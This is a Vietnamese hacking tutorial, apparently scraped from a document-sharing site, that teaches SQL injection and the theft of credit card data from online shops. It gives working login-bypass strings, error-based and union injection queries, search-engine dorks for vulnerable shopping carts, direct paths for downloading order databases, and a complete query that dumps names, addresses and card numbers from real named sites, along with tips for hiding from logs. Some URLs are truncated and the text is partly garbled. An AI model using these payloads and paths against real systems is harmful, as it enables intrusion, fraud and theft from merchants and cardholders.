TUTORIAL FROM VIETHACKER

19 477 3
TUTORIAL FROM VIETHACKER

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

TUTORIAL FROM VIETHACKER Các bạn đã nghe rất nhiều từ sql-injection rất nhiều bạn thành thạo nhưng vẫn còn nhiều bạn mới làm wen với lập trình web còn chưa biết tôi xin mạn phép post lại dựa trên các bài về sql-ịnect từ nhóm Vicki , Viethacker.net .hay một vài nơi khác . + SQL Injection là gì? SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login (với quyền Admin) mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, + Vâng hiểu về SQL-Ịnect đơn giản là chỉ có vậy tôi sẽ phân tích tiếp việc khai thác lỗi đó như thế nào , và mỗi người đều có những cách xử lý riêng VD : http://www.xxx.com/item.asp?item_id=1 - kiểm tra xem có lỗi không : thêm dấu ' vào : http://www.xxx.com/item.asp?item_id=1' Nếu thấy hiển thị lỗi :có dạng vd như thế này : CODE Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''. C:\INETPUB\WWWROOT\xxx\INCLUDE\ /lib/dblib.asp, line 95 Thì trang web này bị SQL-Inject chúng ta có thể hoàn toàn khai thác được thông qua việc "Hỏi Đáp" --> Nhiều bạn khi test thấy lỗi như vậy liền dùng câu lệnh lấy hết các bảng , cột trong data: http://www.xxx.com/item.asp?item_id=1%2bco .hema.tables))-- Sẽ thu được kết quả là bảng đầu tiên: CODE Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'T005_CC_PACKAGES' to a column of data type int. C:\INETPUB\WWWROOT\xxx\INCLUDE\ /lib/dblib.asp, line 95 'T005_CC_PACKAGES' chính là 1 bảng trong data . Nếu muốn lấy tên bảng tiếp theo ta chỉ việc http://www.xxx.com/item.asp?item_id=1%2bco .n_schema.tables where table_name not in ('T005_CC_PACKAGES' )))-- tiếp tục cho đến khi nào hiện thông báo : Invalid item thì là hết table đó Muốn lấy tên cột trong bảng thì làm như sau : http://www.xxx.com/item.asp?item_id=1%2bco .n_schema.colums where table_name='tên bảng'))-- lấy tiếp thì lại dùng not in: http://www.xxx.com/item.asp?item_id=1%2bco .n_schema.colums where table_name="tên bảng" not in ('Tên cột đã biết','tên cột đã biết')))-- Lấy giá trị trong cột : http://www.xxx.com/item.asp?item_id=1%2bco .201%20'tên cột'%20from 'tên bảng chứa cột'))-- Mục đích của nhiều bạn là lấy hết toàn bộ thông tin về table , colum của data từ đó để khai thác tài khoản đăng nhập admin của site đó . Nhưng những cách từng bước trên rất mệt khi đường Link dài quá IE lỗi luôn đó phải dùng trình duyệt khác(Mozila hay Netscape ) . + Có cách khác nhanh hơn : Đăng nhập bằng user: 'or''=' pass: 'or''=' vd nếu bạn may mắn thì sẽ tìm được chỗ login vào phần quản lý web. Tổng hợp cách hack cc căn bản nhất! Thường các hacker hack cc từ những lỗi nghiêm trọng của các site bán hàng trên toàn thế giới (còn vô số những site chưa fix ) .các lỗi thường gặp là : acart2_0 SalesCart Database Storage Insecurity Trong file shopper.cgi Cart32 Sites VP-ASP ProductCar Dưới đây là bài viết chi tiết cách hack các lỗi đó, tất nhiên cũng ko phải tui tìm ra được các lỗi này .vì các lỗi này đựoc tìm ra rất lâu rùi .được sang qua sang lại đến nỗi tác giả của nó là ai cũng ko còn nhớ nỗi nữa .!!! --------------------------------------------------------------------------------------------- Lỗi acart2_0" : Đầu tiên các bạn vàohttp://google.com/ ( các bạn có thể vào các site tìm kiếm khác nhưhttp://av.com/ ) search keyword "acart2_0" ,bạn thấy rất nhiều file mắc lỗi này,do kinh nghiệm mình khuyên các bạn nên chọn những site có dạnghttp://url/acart2_0/ ví dụ sitehttp://www.coolrob.com/cart/acart2_0 ,gõ thêm" /acart2_0.mdb "vào đằng sau url, enter xong bạn thấy màn hình dơnload là thành công rùi đó .bạn có thể down toàn bộ file database *.mdb của shop bán hàng đó . --------------------------------------------------------------------------------------------- Lỗi VP-ASP: đầu tiên vàohttp://google.com/ search từ khoá "shopdisplaycategories" click vào site bạn sẽ thấy làhttp://www. sitename.com/shopping/shopdisplaycategories.asp Việc tiếp theo là chuyển urlhttp://www.sitename.com/shopping/shopdisplaycategories.asp thành urlhttp://www. sitename.com/shopping/shopdbtest.asp nghĩa là thay shopdisplaycategories.asp bằng shopdbtest.asp rồi enter .nếu ra tiếp thêm một trang nữa .<---ko phảt là no page .thì bạn có cơ hội down *mdb của site này đó . sau khi ra trang mới xong,áp dụng công thức http:// [vp-asp site] / [ vp-asp dir] / [ xDatabase + .mdb ] -[vp-asp site] là :http://www.sitename.com/ -[ vp-asp dir] là :shopping -[ xDatabase + .mdb ] sẽ là shopping.mdb nếu có màn hình save thì bạn thành công rùi đó . ----------------------------------------------------------------------------------------------- Lỗi shopper.cgi: vàohttp://google.com/ search từ khoá shopper.cgi hoặc shopper.execopy những url có dạng sitename.com/cgi-bin/ shopper.cgi? sau đó paste vào browse và thêm dòng search=action&keywords=ccpower &template=shopper.conf hoặc hoặc thêm dòng search=action&keywords=ccpower &template=order1.log vào đằng sau,nếu may mắn bạn sẽ tìm thấy cc----------------------------------- Lỗi ProductCart: Search với từ khóa allinurl: /productcart/ http://www.ackits.com/ProductCart/pc/msg.asp? Xóa tất cả từ sau ProductCart đi gữ lại đoạn nàyhttp://www.ackits.com/ProductCart/ sau đó thêm vào sau database/ EIPC.mdb sẽ thànhhttp://www.ackits.com/ProductCart/database/EIPC.mdb đến lúc này ta sẽ download được file .mdb về sau khi download về rùi thì chắc mọi người biết phải làm gì rồi chứ Lỗi Cart32.exe: vào google.com ,search từ khóa "Cart32.exe v3"đầu tiên vàohttp://www.sitename.com/cgi-bin/cart32.exe/sitename Lấy Credit Cards :http://www.sitename.com/cgi-bin/cart32/sitename-ORDERS.txt hoặc :http://www.sitename.com/cgi-bin/cart32/sitename-OUTPUT.txt Hack CC thông qua lỗi SalesCart Database Storage Insecurity: Tổng quát: Lỗi này thực chất là dữ liệu của các chương trình mua bán không được bảo mật, mã hóa hay cất giữ cẩn thận nên bạn hoàn toàn có thể lấy chúng một cách dễ dàng Lưu ý: đôi khi với thực tế, 1 số link có thể khác đi, không phải lúc nào cũng hoàn toàn đúng, dữ liệu có khi bao gồm cả CRD (Credit Card) nên mọi việc phải qua proxy (nếu không có proxy thì có thể ra dịch vụ .) Khai thác: Hãy sử dụng 1 trong những link sau: www.victim.com/fpdb/shop.mdb www.victim.com/shoponline/fpdb/shop.mdb www.victim.com/database/metacart.mdb www.victim.com/shopping/database/metacart.mdb www.victim.com/shop/database/metacart.mdb www.victim.com/metacart/database/metacart.mdb www.victim.com/mcartfree/database/metacart.mdb www.victim.com/ASP/cart/database/metacart.mdb Ví dụ: site84vn.com có thể download cc từ đây:www.84vn.com/database/metacart.mdb Có nghĩa là database không hề có 1 chút bảo mật nào cả. Download vô tư ! Trong database có thể bao gồm: name, surname, address, e-mail, phone number, credit card number, company name . Bạn có thể khai thác dữ liệu này, nhưng trong thực tế, mọi việc không phải lúc nào cũng suôn sẻ cả, bạn hãy tưởng tượng mỗi server có một cấu trúc riêng, ví dụ như đường dẫn không phải lúc nào cũng là fpdb/ . hay như những link trên, hãy tận dụng lỗi và thử từng cái một , nhiều khi làwww.victim.com/muaban/fpdb/shop.mdb vì vậy nếu bạn xài cách này hãy linh hoạt trong link tuỳ vào từng site! <----copy by h4a lên google tìm từ khóa "inurl:commerce.cgi" Rồi okie số địa chỉ online đang chờ đón vd: ta có site <http://www.warresisters.org/store/commerce.cgi>? xóa cái commerce.cgi? đi thay bằng Admin_files/commerce_user_lib.pl ta sẽ được ## This file contains the user specific variables ## necessary for Commerce.cgi $sc_sales_tax = ".0825"; $sc_sales_tax_state = "NY"; $sc_send_order_to_email = "yes"; $sc_order_log_name = "onlinebookstore.log"; $sc_send_order_to_log = "yes"; $shipping_percentage = ".15"; $sc_order_email = "wrl\@igc.org"; $sc_root_url = "http://www.warresisters.org/store"; $sc_admin_email = "lit\@warresisters.org"; $sc_domain_name_for_cookie = ".warresisters.org"; $sc_order_script_url = "https://secure.serve.com/resist/store/commerce.cgi"; $sc_root_web_path = "/home/serve/resist/Html/Products"; $sc_path_for_cookie = "/store"; $path_to_html = " /Html"; 1; xóa cái commerce_user_lib.pl đi thay bằng onlinebookstore.log (tìm ở $sc_order_log_name ) và Việc tiếp theo là thuộc về bạn ------------------------------------------------------------------------------------------------ Vào google gõ từ khoá tek9.aspta được link có dạng tương tự như thế này https://ionicpurifier.com/tek9.asp?pg=orders&mode=search bắy đầu từ /tek9.asp/ gõ thêm /intranethttps://ionicpurifier.com/intranet/tek9.asp .ers&mode=search Sau đó đăng nhập với user và pass 'or''='nếu may mắn thì sẽ vào được , và ăn cc tha hồ còn rất nhiều site bị lỗi này ------------------------------------------------------------------------------------------------ Search keyword in google.com.vn : " Shoping /admin " http://shopping.richardhealey.com/admin_login.asp http://families-online.org/admin_login.asp user/pass : ' or 1=1-- Code của site cho phép exploit lên SQL Server . ------------------------------------------------------------------------------------------------ Hack shop qua lỗi SQL server injection gioi thieu so qua cho anh em biet ve hack sql server inject ha ! hack bang ky thuat convert noi nom na la convert 1 bieu thuc dang string sang dang int nhung ko the thuc hien duoc gay thong bao loi (co nhung shop ma ta khong nhan duoc thong bao cua no,vi value=hidden),vi the truoc tien de hack duoc shop ODBC MySQL server2000 hay 7.0 thi it nhat anh em cung phai xem qua source 1 chut ha,de roi con biet co nen hack theo cach nao`. o day chi gioi thieu cach convert dung` de lay thong bao loi thoi,neu may bac' can hack ca server thi noi nhieu,noi dai dong lam . Detail: search tren cac trang search engine tuy anh em thich thoi,hien co rat nhieu trang search engine ma anh em thuong dung nhu http://www.google.com/ hoachttp://www.froogle.google.com/ http://www.av.com/ http://www.alltheweb.com/ yahoo.com ok----search for: allinurl: "/shop/viewproduct.asp" hoac may bac co the search = tu key word allinurl: "/shop/index.asp" (nhung cai tu khoa nay van chua xac nhan duoc tinh dung dan cua no,vi no cho ra tat rat nhieu site,ma ko phai ODBC MySQL database,hic,ma thuong la` JSP(java server page) hoac JET, hoac VB.net net va de nay can phai co su no luc cua anh em trong viec test. ok co' duoc muc tieu roi chon dai 1 thang,vd: http://www.mcmessentials.com.au/shop/viewp .20&categoryid=5 http://www.mcmessentials.com.au/shop/viewp .20&categoryid=5 okay co muc tieu roi bat dau test no ha http://www.mcmessentials.com.au/shop/viewp .tegoryid=5' neu CSDL cua no duoc viet = ODBC MySQL server thi anh em se nhan duoc thong bao sau Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''. /shop/include/viewproduct.asp, line 3 okay,con neu ko thi ko thay gi het,hoac la` ban phai xem trong source de biet. ok bat dau tim table co the test theo cac cach sau ma em da biet ;having 1=1--sp_password 'having 1=1--sp_password "having 1=1--sp_password (having 1=1--sp_password )having 1=1--sp_password (space)having 1=1--_sp_password (%20 la space la khoang trang day) thuong thi test = cau truy van (space)having 1=1--sp_password la duoc duyet qua ok *luu y' cac anh em 1 dieu rat can thiet 1--%2b co nghia la dau + nhung ma truyen truc tiep dau + vao se bi SQL filter mat bat buoc phai co --sp_password de marks log tranh bi phat hien http://www.mcmessentials.com.au/shop/viewp .=1--sp_password Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'categories.label' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /shop/include/viewproduct.asp, line 9 ta biet duoc table categories,column la label,bay gio ta di lay tat ca cac table cua column label thuoc table categories bay gio di lay user_name cua shop thong qua cau truy van sau %2bconvert(int,user_name())--sp_password day du la` http://www.mcmessentials.com.au/shop/viewp .))--sp_password Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'braunshop' to a column of data type int. /shop/include/viewproduct.asp, line 3 'braunshop' la truong user_name cua shop *luu y 2--truong user_name() la de xac dinh user hien tai,neu no la dbo thi ta co kha nang hack thang vao ca server ma ko can quyen admin,con neu ko thi ta co nhung buoc trung gian de chiem,ok ta dung lai o viec lay cc tu shop ma thoi,ko noi den chuyen chiem ca server,much dich de anh em hoc hoi,va trao doi kinh nghiem la chinh,ko loi keo anh em pha hoai nghiem trong den bat cu ai khac nen toi chi post va dung lai o phan lay cc ma thoi,con neu ai co thu oan gi voi thang nao,muon deface,lay pass,lay root,lay server,host thi lien he voi toi ok bay gio ta se lan luot lay cac table tren column label lay table thu 1 thong qua cau truy van sau %2bconvert(int,(select%20top%201%20table_name%20fr om%20information_schema.tables))--sp_password day du la` http://www.mcmessentials.com.au/shop/viewp .))--sp_password Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'categorieslist' to a column of data type int. /shop/include/viewproduct.asp, line 3 ok table 1 la 'categorieslist',muon lay table thu 2 thi phai dung den where table_name not in('table1') cau truy van nhu sau: %2bconvert(int,(select%20top%201%20table_name%20fr om%20information_schema.tables%20where% 20table_name%20not% 20in('categorieslist')))--sp_password http://www.mcmessentials.com.au/shop/viewp .))--sp_password Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'allorders' to a column of data type int. /shop/include/viewproduct.asp, line 3 table 2 la` 'allorders' muon lay table thu 3 va cac table co lai thi tiep tu lam tuong tu nhu lay table thu 2 vay %2bconvert(int,(select%20top%201%20table_name%20fr om%20information_schema.tables%20where% 20table_name%20not% 20in('categorieslist','allorders')))--sp_password day la tat ca cac table cua shop vua lay duoc 'categorieslist','allorders','categories','categor ymembers','deliveryZones','dtproperties','essorder s','fullorder','keywords', 'optiongroupmembers','optiongroups','optiongroupsl ist','optionmembers','options','optionslist','orde roptions','orderoptions-options','orderproducts','orderproducts-products','orders','products','products- categories','products-options','searchresults','sysconstraints','syssegm ents' ok sau khi lay duoc tat ca cac table roi thi ban bat dau lay colum cua table,co 2 kieu lay column,1 la lay tat ca cac column,ko co muc dich gi hoac de kiem tra toan bo database,2 la` ta da xac dinh duoc can phai lay column trong table nao,sau do moi lay,toi thi chi lay column trong table nao co cc thoi,'allorders' hoac 'orders' ok ta lay no thoi cau truy van lay column dau tien la` 1---lay column tren tat ca cac table,ko can biet no thuoc table nao,lay den khi nao het thi thoi,cau truy van co dang %2bconvert(int,(select top 1 column_name from information_schema.columns))--sp_password duoc column1 roi thi dung where column_name not in('column1') ok ha 2--lay column tren table da xac dinh truoc cau truy van nhu sau vi du toi lay column tren table orders %2bconvert(int,(select top 1 column_name from information_schema.columns where table_name ='orders'))-- sp_password http://www.mcmessentials.com.au/shop/viewp .))--sp_password Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'orderid' to a column of data type int. /shop/include/viewproduct.asp, line 3 column dau tien la` 'orderid' lay column thu 2 thi can them and column_name not in('orderid') %2bconvert(int,(select top 1 column_name from information_schema.columns where table_name ='orders' and column_name not in('orderid')))--sp_password http://www.mcmessentials.com.au/shop/viewp .))--sp_password Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'created' to a column of data type int. /shop/include/viewproduct.asp, line 3 va lan luot lay cho het cac column cua table 'orders' khi anh em da lay duoc tat ca cac column cua table 'orders'roi thi chi con viec sau cung hap dan nhat ma thoi,do la lay cc,anh em hay viet thanh 1 cau truy van de lay cc dua vao tat ca cac column cua anh em nhan duoc,moi shop no co cac field database khac nhau,nhung hau het cac shop duoc search duoi dang allinurl: "/shop?viewproduct.asp" thi chi co 1 kieu truy van duy nhat,vi em da thu qua tat ca roi hhihihi cai nao cung ok ca may anh em khoi mat cong xap xep lai de viet thang cau truy van chi cho met,toi dua luon cho anh em xai choi lay cc dau tien %2bconvert(int,(select%20top%201%20cardtype%2b'%20 Name:'%2bcardname%2b'%20addr:%20'%2baddress% 2b'%20 suburb:%20'% 2bsuburb%2b'%20state:%20'%2bstate%2b'%20zip:%20'%2 bpostcode%2b'%20country:%20'%2bcountry%2b'% 20phone :%20'%2bphone% 2b'%20email:%20'%2bemail%2b'%20cardnumber:%20'%2bc ardnumber%2b'%20expireymonth:%20'% 2bexpirymonth%2b '%20year:%20'% 2bexpiryyear%20from%20orders))--sp_password lay' cc thu 2 thi ta them vao o sao from orders where cardnumber not in('so card dau tien') va lan luot lay het cac credit card co tren do' nhu cai shop o tren thi de dung cho may bac thuc tap va de co them kinh nghiem ma thoi,vi day chi de hoc hoi,ko nham muc dich pha hoai bat cu ai . Hack Sql Inject nâng cao Các bạn thử xem một câu truy vấn SQL: select id, forename, surname from authors thì 'id','forename' và 'surname' là column của table author,khi câu truy vấn trên làm việc thì nó sẽ cho kết quả tất cã các dòng trong table author.Xem câu truy vấn sau: select id, forename, surname from authors where forename = 'john' and surname = 'smith' Đây là câu truy vấn có điều kiện chắc không nói các bạn cũng biết,nó cho ra kết quả tất cã những ai trong csdl với forename = 'john' and surname = 'smith' Vì vậy khi vào giá trị đầu vào không đúng như trong csdl liệu: Forename: jo'hn Surname: smith Câu truy vấn trở thành: select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith' Câu truy vấn trên khi được xử lý thì nó sẽ phát sinh lổi: Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near 'hn'. Lý do là ta lồng vào dấu nháy đơn "'" và giá trị vào trở thành 'hn' sai so với csdl vậy sẽ phát sinh lổi lợi dụng cái này attacker có thể xoá dữ liệu của bạn như sau: Forename: jo'; drop table authors-- Table author sẽ bị xóa>nguy hiểm phải không Nhìn vào đoạn code asp sau:đây là một form login <HTML> <HEAD> <TITLE>Login Page</TITLE> </HEAD> <BODY bgcolor='000000' text='cccccc'> <FONT Face='tahoma' color='cccccc'> <CENTER><H1>Login</H1> <FORM action='process_login.asp' method=post> <TABLE> <TR><TD>Username:</TD><TD><INPUT type=text name=username size=100% Page 4 width=100></INPUT></TD></TR> <TR><TD>Password:</TD><TD><INPUT type=password name=password size=100% width=100></INPUT></TD></TR> </TABLE> <INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'> </FORM> </FONT> </BODY> </HTML> Đây là code 'process_login.asp' <HTML> <BODY bgcolor='000000' text='ffffff'> <FONT Face='tahoma' color='ffffff'> <STYLE> p { font-size=20pt ! important} font { font-size=20pt ! important} [...]... @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end >cau truy vấn: Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end-Tạo một table 'foo' với một column là 'ret' Tiếp tục: Username: ' union select ret,1,1,1 from foo Microsoft OLE DB Provider... Username: ' union select min(username),1,1,1 from users where username > 'admin'-Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int /process_login.asp, line 35 Vậy là khi có username > lấy pass: Username: ' union select password,1,1,1 from users where username ='admin'-Microsoft... dùng hàm sum() Username: ' union select sum(username) from users-[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument /process_login.asp, line 35 Giá trị của username là varchar,không nói các bạn cũng biết lý do,còn dùng với id thì sao nhỉ: Username: ' union select sum(id) from users-Microsoft OLE DB Provider for ODBC Drivers... into tables] Sữ dụng 'bulk insert' để chèn text file vào thư mục hiện thời,tạo table đơn: create table foo( line varchar(8000) ) tiếp tục: bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp' [Creating Text Files using BCP] VD: bcp "SELECT * FROM test foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar [ActiveX automation scripts in SQL Server] Dùng 'wscript.shell' vd:... cn.open( "localserver", "sa", "password" ); username = new String( Request.form("username") ); if( username.length > 0) { Login( cn ); } cn.close(); } Main(); %> Đây là câu truy vấn SQL: var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; nếu hacker vào như sau: Username: '; drop table users-Password: thì table 'user; sẽ bị xoá,và ta có thể vượt qua bằng... ); } function Login( cn ) { var username; var password; username = Request.form("username"); password = Request.form("password"); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql ); rso.open( sql, cn ); if (rso.EOF) { rso.close(); %> ... data type int /process_login.asp, line 35 có thể dùng convert() nhưng tôi chỉ các bạn dùng union ,các bạn thử đọc nội dung của các user trogn table như sau: Username: ' union select min(username),1,1,1 from users where username > 'a'-Chọn giá trị nhỏ nhất của username và cho nó lớn hơn 'a' > phát sinh lổi: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL . TUTORIAL FROM VIETHACKER Các bạn đã nghe rất nhiều từ sql-injection rất nhiều bạn thành. '%20year:%20'% 2bexpiryyear%2 0from% 20orders))--sp_password lay' cc thu 2 thi ta them vao o sao . .from orders where cardnumber not in('so

Ngày đăng: 09/10/2013, 12:20

Từ khóa liên quan

Tài liệu cùng người dùng

Tài liệu liên quan